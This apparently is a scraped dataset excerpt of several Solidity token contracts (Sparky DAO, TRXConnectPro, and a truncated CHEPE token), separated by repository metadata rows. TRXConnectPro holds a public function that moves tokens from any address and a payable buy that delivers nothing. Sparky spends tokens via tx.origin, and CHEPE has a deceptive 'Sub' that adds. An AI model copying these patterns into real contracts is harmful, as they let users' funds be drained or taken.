}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 339,004 | 13,404 |
41ee6e17f14ecf2697ab3adfda60d209bd1e55f2e0eb0967a716cd56046bf61e
| 15,055 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x5528DB04b395Af3dd758e958d8Be573841e4DA59/contract.sol
| 3,728 | 14,662 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.8;
pragma experimental ABIEncoderV2;
//iBEP20 Interface
interface iBEP20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint);
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address, uint) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
}
//======================================SPARKY=========================================//
contract Sparky is iBEP20 {
using SafeMath for uint256;
// ERC-20 Parameters
string public override name; string public override symbol;
uint256 public override decimals; uint256 public override totalSupply;
// ERC-20 Mappings
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
// Parameters
uint256 one;
bool public emitting;
uint256 public emissionCurve;
uint256 public _100m;
uint256 public totalCap;
uint256 public secondsPerEra;
uint256 public currentEra;
uint256 public nextEraTime;
address public incentiveAddress;
address public DAO;
address public burnAddress;
address public DEPLOYER;
address[] public assetArray;
mapping(address => bool) public isListed;
mapping(address => uint256) public mapAsset_claimRate;
mapping(address => uint256) public mapAsset_claimed;
mapping(address => uint256) public mapAsset_allocation;
struct AssetDetailsStruct {
bool listed;
uint256 claimRate;
uint256 claimed;
uint256 allocation;
}
// Events
event ListedAsset(address indexed DAO, address indexed asset, uint256 claimRate, uint256 allocation);
event DelistedAsset(address indexed DAO, address indexed asset);
event NewCurve(address indexed DAO, uint256 newCurve);
event NewIncentiveAddress(address indexed DAO, address newIncentiveAddress);
event NewDuration(address indexed DAO, uint256 newDuration);
event NewDAO(address indexed DAO, address newOwner);
event NewEra(uint256 currentEra, uint256 nextEraTime, uint256 emission);
// Only DAO can execute
modifier onlyDAO() {
require(msg.sender == DAO || msg.sender == DEPLOYER, "Must be DAO");
_;
}
//=====================================CREATION=========================================//
// Constructor
constructor() public {
name = 'SPARKY DAO TOKEN';
symbol = 'SPARKY';
decimals = 18;
one = 10 ** decimals;
_100m = 100 * 10**6 * one;
totalSupply = 0;
totalCap = 300 * 10**6 * one;
emissionCurve = 2048;
emitting = false;
currentEra = 1;
secondsPerEra = 86400;
nextEraTime = now + secondsPerEra;
DEPLOYER = msg.sender;
burnAddress = 0x000000000000000000000000000000000000dEaD;
}
receive() external payable {
claim(address(0), msg.value);
}
//========================================iBEP20=========================================//
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
// iBEP20 Transfer function
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
// iBEP20 Approve, change allowance functions
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "iBEP20: decreased allowance below zero"));
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "iBEP20: approve from the zero address");
require(spender != address(0), "iBEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// iBEP20 TransferFrom function
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "iBEP20: transfer amount exceeds allowance"));
return true;
}
// TransferTo function
function transferTo(address recipient, uint256 amount) public returns (bool) {
_transfer(tx.origin, recipient, amount);
return true;
}
// Internal transfer function
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "iBEP20: transfer from the zero address");
_balances[sender] = _balances[sender].sub(amount, "iBEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
_checkEmission();
}
// Internal mint (upgrading and daily emissions)
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "iBEP20: mint to the zero address");
totalSupply = totalSupply.add(amount);
require(totalSupply <= totalCap, "Must not mint more than the cap");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
// Burn supply
function burn(uint256 amount) public virtual {
_burn(msg.sender, amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "iBEP20: burn amount exceeds allowance");
_approve(account, msg.sender, decreasedAllowance);
_burn(account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "iBEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "iBEP20: burn amount exceeds balance");
totalSupply = totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
//=========================================DAO=========================================//
// Can list
function listAsset(address asset, uint256 claimRate, uint256 allocation) public onlyDAO returns(bool){
if(!isListed[asset]){
isListed[asset] = true;
assetArray.push(asset);
}
mapAsset_claimRate[asset] = claimRate;
mapAsset_allocation[asset] = allocation;
emit ListedAsset(msg.sender, asset, claimRate, allocation);
return true;
}
// Can delist
function delistAsset(address asset) public onlyDAO returns(bool){
isListed[asset] = false;
mapAsset_claimRate[asset] = 0;
mapAsset_allocation[asset] = 0;
emit DelistedAsset(msg.sender, asset);
return true;
}
// Can start
function startEmissions() public onlyDAO returns(bool){
emitting = true;
return true;
}
// Can stop
function stopEmissions() public onlyDAO returns(bool){
emitting = false;
return true;
}
// Can change emissionCurve
function changeEmissionCurve(uint256 newCurve) public onlyDAO returns(bool){
emissionCurve = newCurve;
emit NewCurve(msg.sender, newCurve);
return true;
}
// Can change daily time
function changeEraDuration(uint256 newDuration) public onlyDAO returns(bool) {
secondsPerEra = newDuration;
emit NewDuration(msg.sender, newDuration);
return true;
}
// Can change Incentive Address
function changeIncentiveAddress(address newIncentiveAddress) public onlyDAO returns(bool) {
incentiveAddress = newIncentiveAddress;
emit NewIncentiveAddress(msg.sender, newIncentiveAddress);
return true;
}
// Can change DAO
function changeDAO(address newDAO) public onlyDAO returns(bool){
require(newDAO != address(0), "Must not be zero address");
DAO = newDAO;
emit NewDAO(msg.sender, newDAO);
return true;
}
// Can purge DAO
function purgeDAO() public onlyDAO returns(bool){
DAO = address(0);
emit NewDAO(msg.sender, address(0));
return true;
}
// Can purge DEPLOYER
function purgeDeployer() public onlyDAO returns(bool){
DEPLOYER = address(0);
return true;
}
//======================================EMISSION========================================//
// Internal - Update emission function
function _checkEmission() private {
if ((now >= nextEraTime) && emitting) { // If new Era and allowed to emit
currentEra += 1; // Increment Era
nextEraTime = now + secondsPerEra; // Set next Era time
uint256 _emission = getDailyEmission(); // Get Daily Dmission
_mint(incentiveAddress, _emission); // Mint to the Incentive Address
emit NewEra(currentEra, nextEraTime, _emission); // Emit Event
}
}
// Calculate Daily Emission
function getDailyEmission() public view returns (uint256) {
uint _adjustedCap;
if(totalSupply <= _100m){ // If less than 100m, then adjust cap down
_adjustedCap = (totalCap.mul(totalSupply)).div(_100m); // 300m * 50m / 100m = 300m * 50% = 150m
} else {
_adjustedCap = totalCap; // 300m
}
return (_adjustedCap.sub(totalSupply)).div(emissionCurve); // outstanding / 2048
}
//======================================CLAIM========================================//
// Anyone to Claim
function claim(address asset, uint amount) public payable {
uint _claim = amount;
if(mapAsset_claimed[asset].add(amount) > mapAsset_allocation[asset]){
_claim = mapAsset_allocation[asset].sub(mapAsset_claimed[asset]);
}
if(asset == address(0)){
require(amount == msg.value, "Must get BNB");
payable(burnAddress).call{value:_claim}("");
payable(msg.sender).call{value:amount.sub(_claim)}("");
} else {
iBEP20(asset).transferFrom(msg.sender, burnAddress, _claim);
}
mapAsset_claimed[asset] = mapAsset_claimed[asset].add(amount);
uint256 _adjustedClaimRate = getAdjustedClaimRate(asset);
// sparta = rate * claim / 1e8
uint256 _sparta = (_adjustedClaimRate.mul(_claim)).div(one);
_mint(msg.sender, _sparta);
}
// Calculate Adjusted Claim Rate
function getAdjustedClaimRate(address asset) public view returns (uint256 adjustedClaimRate) {
uint256 _claimRate = mapAsset_claimRate[asset]; // Get Claim Rate
if(totalSupply <= _100m){
// return 100%
return _claimRate;
} else {
// (claim*(200-(totalSupply-_100m)))/200 -> starts 100% then goes to 0 at 300m.
uint256 _200m = totalCap.sub(_100m);
return _claimRate.mul(_200m.sub((totalSupply.sub(_100m)))).div(_200m);
}
}
//======================================HELPERS========================================//
// Helper Functions
function assetCount() public view returns (uint256 count){
return assetArray.length;
}
function allAssets() public view returns (address[] memory _allAssets){
return assetArray;
}
function assetsInRange(uint start, uint count) public view returns (address[] memory someAssets){
if(count > assetCount()){count = assetCount();}
address[] memory result = new address[](count);
for (uint i = start; i<start.add(count); i++){
result[i] = assetArray[i];
}
return result;
}
function getAssetDetails(address asset) public view returns (AssetDetailsStruct memory assetDetails){
assetDetails.listed = isListed[asset];
assetDetails.claimRate = mapAsset_claimRate[asset];
assetDetails.claimed = mapAsset_claimed[asset];
assetDetails.allocation = mapAsset_allocation[asset];
}
}
| 256,115 | 13,405 |
e44298bf827209e30f6b5ee5f753d9d03bde53f90d0c8cb703893fc7f4aa76c7
| 15,836 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TV/TVjkBNZBSBwSiQ5yL9mezHNrT23RnBc9Ne_TRXConnectPro.sol
| 3,517 | 13,470 |
//SourceUnit: solidity.sol
pragma solidity >=0.5.4 <0.6.0;
contract ReserveTokenContract {
string public name;
constructor() public {
name = 'ReserveTokenCon';
}
}
contract BuyerSwapperContract {
string public name;
constructor() public {
name = 'BuyerSwapperCont';
}
}
contract StakerContract{
string public name;
constructor() public {
name = 'StakeCont';
}
}
contract TRXConnectPro {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 8;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
event Bought(uint256 amount);
event Sold(uint256 amount);
event staked(address _staker,uint256 amount);
event OwnershipTransferred(address indexed _from, address indexed _to);
BuyerSwapperContract public BYSWCon;
StakerContract public StakeTokenCon;
ReserveTokenContract public ReserveTokenCon;
address public owner;
address public newOwner;
address public RoiOwner;
uint256 public token_rate;
uint256 public swap_fees;
uint256 public RoiOwnerPercent;
uint256 public unstakeFee; // fees in percent
uint256 private key;
uint256 private referralKey;
uint256 private matchingRoiKey;
uint256 private unstakeKey;
uint256 private reserveTokenkey;
modifier onlyOwner {
require(msg.sender == owner,'Invalid Owner!');
_;
}
modifier onlyRoiOwner {
require(msg.sender == RoiOwner,'Invalid ROI Owner!');
_;
}
modifier onlyAuthorized(uint256 _key) {
require(key == _key,'Invalid key!');
_;
}
modifier onlyreferralAuthorized(uint256 _key) {
require(referralKey == _key,'Invalid key!');
_;
}
modifier onlyMatchingRoiAuthorized(uint256 _matchingRoiKey) {
require(matchingRoiKey == _matchingRoiKey,'Invalid key!');
_;
}
modifier onlyUnstakeAuthorized(uint256 _unstakeKey) {
require(unstakeKey == _unstakeKey,'Invalid key!');
_;
}
modifier onlyreserveTokenkeyAuthorized(uint256 _reserveTokenkey) {
require(reserveTokenkey == _reserveTokenkey,'Invalid key!');
_;
}
mapping(address=>uint256) public totalStaked;
uint256 initialSupply = 10000000;
string tokenName = "TRX Connect Pro";
string tokenSymbol = "TCP";
constructor(address _owner,uint256 _key,uint256 _referralKey,uint256 _matchingRoiKey,uint256 _unstakeKey,uint256 _reserveTokenkey,address _RoiOwner) public {
BYSWCon = new BuyerSwapperContract();
StakeTokenCon = new StakerContract();
ReserveTokenCon = new ReserveTokenContract();
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
// balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
balanceOf[address(BYSWCon)] = totalSupply*30/100;
balanceOf[address(StakeTokenCon)] = totalSupply*50/100;
balanceOf[address(ReserveTokenCon)] = totalSupply*20/100;
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
owner = _owner;
token_rate = 200000000;
swap_fees = 1;
unstakeFee = 10;
key = _key;
RoiOwner = _RoiOwner;
RoiOwnerPercent = 1;
referralKey = _referralKey;
matchingRoiKey = _matchingRoiKey;
unstakeKey = _unstakeKey;
reserveTokenkey = _reserveTokenkey;
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0000000000000000000000000000000000000000);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function _transferToMany(address _from, address[] memory _tos, uint _totalValue,uint[] memory _values) internal {
// Prevent transfer to 0x0 address. Use burn() instead
// Check if the sender has enough
require(balanceOf[_from] >= _totalValue,'No enough tokens!');
// applying the loop
for(uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
uint _value = _values[i];
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
}
function transferToMany(address _sender,address[] memory _to, uint _totalValue, uint[] memory _value) public returns (bool success) {
_transferToMany(_sender, _to,_totalValue, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function transferRoiOwnership(address _RoiOwner) public onlyRoiOwner {
RoiOwner = _RoiOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
function changeKey(uint256 _key) public onlyOwner {
key = _key;
}
function changeReferralKey(uint256 _key) public onlyOwner {
referralKey = _key;
}
function changeUnstakekey(uint256 _key) public onlyOwner {
unstakeKey = _key;
}
function changeReserveTokenkeykey(uint256 _key) public onlyOwner {
reserveTokenkey = _key;
}
function changeTokenRate(uint256 _token_rate) public onlyOwner {
token_rate = _token_rate;
}
function buy(uint256 _token,address _reciever) public payable{
uint256 amountTobuy = _token;
uint256 dexBalance = balanceOf[address(BYSWCon)];
require(amountTobuy > 0, "You need to send some Ether");
require(amountTobuy <= dexBalance, "Not enough tokens in the reserve");
address(uint160(RoiOwner)).transfer(msg.value*RoiOwnerPercent/200);
}
function transferTokenBuy(uint256 _key, uint256 _token,address _reciever) public payable onlyRoiOwner onlyAuthorized(_key){
uint256 amountTobuy = _token;
uint256 dexBalance = balanceOf[address(BYSWCon)];
require(amountTobuy > 0, "You need to send some Ether");
require(amountTobuy <= dexBalance, "Not enough tokens in the reserve");
// transfer(_reciever, amountTobuy);
_transfer(address(BYSWCon), _reciever, amountTobuy);
emit Bought(amountTobuy);
}
function swap(uint256 amount,address _reciever) public payable {
require(amount > 0, "You need to sell at least some tokens");
uint256 senderBalance = balanceOf[address(_reciever)];
require(senderBalance >= amount, "Sender token balance is low");
// send the token
_transfer(msg.sender,address(BYSWCon), amount);
}
function swapTrx(uint256 _key,uint256 _TrxAmount,address _reciever) public payable onlyRoiOwner onlyAuthorized(_key){
require(_TrxAmount <= address(this).balance, "Contract balance is low");
address(uint160(_reciever)).transfer(_TrxAmount);
emit Sold(_TrxAmount);
}
function ownertrnasfertTrx(uint256 _TrxAmount) public payable onlyOwner{
require(_TrxAmount <= address(this).balance, "Contract balance is low");
(msg.sender).transfer(_TrxAmount);
emit Sold(_TrxAmount);
}
function withdrawTrx(uint256 _TrxAmount,address _reciever) public payable onlyOwner{
require(_TrxAmount <= address(this).balance, "Contract balance is low");
address(uint160(_reciever)).transfer(_TrxAmount);
}
function stake(uint256 amount,address _to) public payable {
require(amount > 0, "You need to stake at least some tokens");
uint256 senderBalance = balanceOf[_to];
require(senderBalance >= amount, "Sender token balance is low");
// send the token from sender to staker
_transfer(msg.sender,address(StakeTokenCon), amount);
if(totalStaked[_to]>=0){
totalStaked[_to] = totalStaked[_to]+amount;
}else{
totalStaked[_to] = amount;
}
emit staked(_to,amount);
}
function unstake(uint256 _key,uint256 amount,address _to) public payable onlyRoiOwner onlyUnstakeAuthorized(_key) {
require(amount > 0, "You need to unstake at least some tokens");
uint256 senderTotalStaked = totalStaked[_to];
require(senderTotalStaked >= amount, "Sender token balance is low");
uint256 returnAmount = amount- amount*unstakeFee/100;
// send the token from staker to sender
_transfer(address(StakeTokenCon),_to, returnAmount);
totalStaked[_to] = totalStaked[_to]-amount;
emit staked(_to,amount);
}
// Send the referral commission
function transferReferralComm(uint256 _referralKey, address[] memory _to, uint _totalValue, uint[] memory _value) public onlyRoiOwner onlyreferralAuthorized(_referralKey)returns (bool success) {
transferToMany(address(StakeTokenCon), _to,_totalValue, _value);
return true;
}
// Send the matching commission and roi
function transferMatchingCommAndRoi(uint256 _matchingRoiKey,address[] memory _to, uint _totalValue, uint[] memory _value) public onlyRoiOwner onlyMatchingRoiAuthorized(_matchingRoiKey) returns (bool success) {
transferToMany(address(StakeTokenCon), _to,_totalValue, _value);
return true;
}
// / Send the reserve token
function transferReserveToken(uint256 _ReserveTokenkey, address[] memory _to, uint _totalValue, uint[] memory _value) public onlyRoiOwner onlyreserveTokenkeyAuthorized(_ReserveTokenkey) returns (bool success) {
transferToMany(address(ReserveTokenCon), _to,_totalValue, _value);
return true;
}
function balanceOfToken(address tokenOwner) public view returns (uint256) {
return balanceOf[tokenOwner];
}
function balanceOfContract() public view returns (uint256) {
return address(this).balance;
}
}
| 305,178 | 13,406 |
37e821b13d84b73c2908376e38118f8120b52e1dba6de7ea12b455742eb20c57
| 19,558 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/d8/d88ecd657101ead591961eeb591bec703a08589b_CHEPE.sol
| 3,236 | 11,040 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CHEPE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**18;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
